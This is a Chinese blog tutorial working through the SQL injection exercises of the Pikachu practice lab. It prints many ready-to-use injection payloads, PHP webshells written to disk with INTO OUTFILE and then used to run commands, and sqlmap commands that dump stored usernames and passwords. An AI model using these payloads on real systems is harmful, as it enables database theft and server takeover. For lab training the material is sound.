pikachu---SQL Injection

SQL Injection

概述:

数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

攻击流程:

常见注入点类型:

数字型注入(post):

将火狐浏览器使用burpsuite代理并关闭连接,下拉菜单随便选一个点击查询。

将抓到的提交参数的包发送到Repeater模块,将id改为id=1 or 1=1,点击重放,在Render模块可以看到遍历了所有信息。

查看后台源代码:

发现其未做任何处理就直接将获取到的id拼接到SQL语句中执行,所以存在SQL注入漏洞。

字符型注入(get):

输入kode,页面返回kobe信息。

因为是字符型注入,所以构造闭合并注释后面的单引号来执行语句。

输入kobe' or 1=1#,页面返回遍历所有信息。

查看后台源代码:

发现其直接获取用户输入的字符型参数拼接到SQL语句中执行,所以存在SQL注入漏洞。

搜索型注入:

搜索型注入常用SQL语句:

查看后台源码:

发现其直接获取用户输入的字符型参数拼接到搜索语句中,因此存在SQL注入漏洞。

构造闭合语句注释后面的单引号和百分号。

输入zjj%' or 1=1#,页面返回遍历所有信息。

xx型注入:

查看后台源代码:

发现其与之前相同,只是参数的闭合方式不同,同样存在SQL注入漏洞。

输入zjj') or 1=1#,页面返回所有信息。

union select联合查询与order by语句使用:

union select查询的字段数要和前面的字段数相同,否则会报错。

order by语句可判断字段数,order by 1按照第一列排序,如果没有这一列就会报错。

在字符型注入(get)中

输入a' order by 3#,页面报错。

输入a' order by 2#,页面返回输入的用户名不存在,证明有2个字段。

查出字段数后就可以使用union select联合查询查一些想要的内容。

输入a' union select database(),user()#,页面成功返回我们想要的内容。

Mysql数据库的information_schema库:

在字符型注入(get)中

使用联合查询获取当前数据库的表名,列名和内容。

输入zjj' union select column_name,2 from information_schema.columns where table_schema='pikachu'#

输入zjj' union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'#

输入zjj' union select username,password from pikachu.users#

获取到密码后使用md5解密工具解密。

基于报错的注入:

前提:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

思路:

在Mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

select/insert/update/delete都可以使用报错来获取信息。

常用报错函数:

  • updatexml():Mysql对XML文档数据进行查询和修改的xpath函数。
  • extractvalue():Mysql对XML文档数据进行查询的xpath函数。
  • floor():Mysql中用来取整的函数。

updatexml()函数作用:

改变(查找并替换)XML文档中符合条件的节点的值。

在字符型注入(get)中

通过改变limit遍历表名,字段名和内容:

输入zjj' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)#

“insert/update”注入:

insert用法:

点击注册,只填必填项,输入

用户:' or updatexml(1,concat(0x7e,database()),1) or'

密码:123

点击提交成功报错回显出当前数据库。

之后修改database()为爆库,表,字段和内容的语句即可。

updatexml用法:

输入

用户:' and updatexml(1,concat(0x7e,database()),1) or'

密码:123

点击提交成功报错回显出当前数据库。

之后修改database()为爆库,表,字段和内容的语句即可。

“delete”注入:

随意输入一条留言,点击提交。

将火狐浏览器使用burpsuite代理并关闭拦截。

点击删除留言,将抓到的包发送到Repeater模块。

查看后台源代码:

发现其直接将获取到的id拼接到delete语句执行。

可以对id闭合执行报错语句:

1 and updatexml(1,concat(0x7e,database()),1)

通过找到的包可以看出id是以GET形式在url中传递的,所以要将报错语句转换为url编码才可以被代入执行。

选中报错语句右键按照如图所示操作完成转换。

点击重放,在Raw中可以看到成功报错出当前数据库。

之后修改database()为爆库,表,字段和内容的语句即可。

extractvalue()函数作用:

从目标XML中返回包含所查询值得字符串。

在字符型注入中输入

' and extractvalue(1,concat(0x7e,database()))#

之后修改database()为爆库,表,字段和内容的语句即可。

floor()函数:

在字符型注入中输入

' and (select 2 from(select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a)x)#

之后修改database()为爆库,表,字段和内容的语句即可。

“http header”注入:

概念:

将火狐浏览器使用burpsuite代理并关闭拦截。

将抓到的包发送到Repeater模块。

将User-Agent改为一个单引号,点击重放,Raw中显示SQL语句有错误,说明此处存在注入。

将单引号改为报错注入语句,输入

' and updatexml(1,concat(0x7e,database()),1) or'

成功报错出当前数据库。

将原来抓到的包中Cookie中的用户名后添加一个单引号,点击重放,Raw中显示SQL语句有错误,说明此处存在注入。

将单引号改为报错注入语句,输入

' and updatexml(1,concat(0x7e,database()),1)#

成功报错出当前数据库。

盲注概念:

盲注(base on boolian):

表现形式:

输入

kobe' and 1=1#成功返回kobe信息。

kobe' and 1=2#提示用户名不存在。

说明存在盲注。

猜解当前数据库每一个字符:

输入

kobe' and ascii(substr(database(),1,1))>113#提示用户名不存在。

kobe' and ascii(substr(database(),1,1))=112#成功返回kobe信息。

说明当前数据库第一个字符为p。

之后修改database()为爆库,表,字段和内容的语句即可。

盲注(base on time):

表现形式:

页面不返回对错,只能根据反应时间判断。

输入

kobe' and sleep(5)#页面延迟5秒。

说明and语句成功被执行,存在基于时间的盲注。

猜解当前数据库每一个字符:

输入

kobe' and if(substr(database(),1,1)='p',sleep(5),null)#页面延迟5秒。

通过sql进行服务器的远程控制:

一句话木马概念:

写入恶意代码前提条件:

  1. 需要知道远程目录
  2. 需要远程目录有写权限
  3. 需要数据库开启了secure_file_priv

在字符型注入中

输入

kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/2.php"#

文件被成功创建并写入一句话木马。

url输入

http://192.168.18.21/2.php?test=phpinfo();

成功执行命令。

输入

kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/3.php"#

url输入

http://192.168.18.21/3.php?cmd=ipconfig;

成功执行命令。

暴力破解在sql注入中的应用:

将火狐浏览器使用burpsuite代理并关闭拦截。

在字符型注入中

输入

kobe' and exists(select * from aa)#

将抓到的包发送到Intruder模块,清楚所有变量,选中aa添加变量。

手动添加一些表名,实际场景中直接放字典就可以。

先清除所有匹配内容,再根据刚才的页面提示添加匹配内容。

点击开始爆破,成功爆出表,爆列名与爆表名步骤相同。

SQL注入漏洞防范措施:

PHP防范转义+过滤:

网络防护措施:

SQLmap工具使用:

在盲注(base on boolian)中随便输入一个用户名,点击提交,因为是GET请求,复制url。

打开sqlmap工具,输入

sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

回车输出结果。

输入

sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

回车输出当前数据库。

输入

sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

回车输出当前数据库的所有表。

输入

sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

回车输出当前数据库users表中的所有列。

输入

sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

回车输出username和password字段所有内容。

posted @ 2020-03-21 18:23  强霸卓奇霸  阅读(316)  评论(0)    收藏  举报
https://blog-static.cnblogs.com/files/xiaokang01/js.js 这是添加的文件的链接 color="240,230,140" 粒子的颜色设置 opacity="1" 粒子的透明度 count="75" 粒子的个数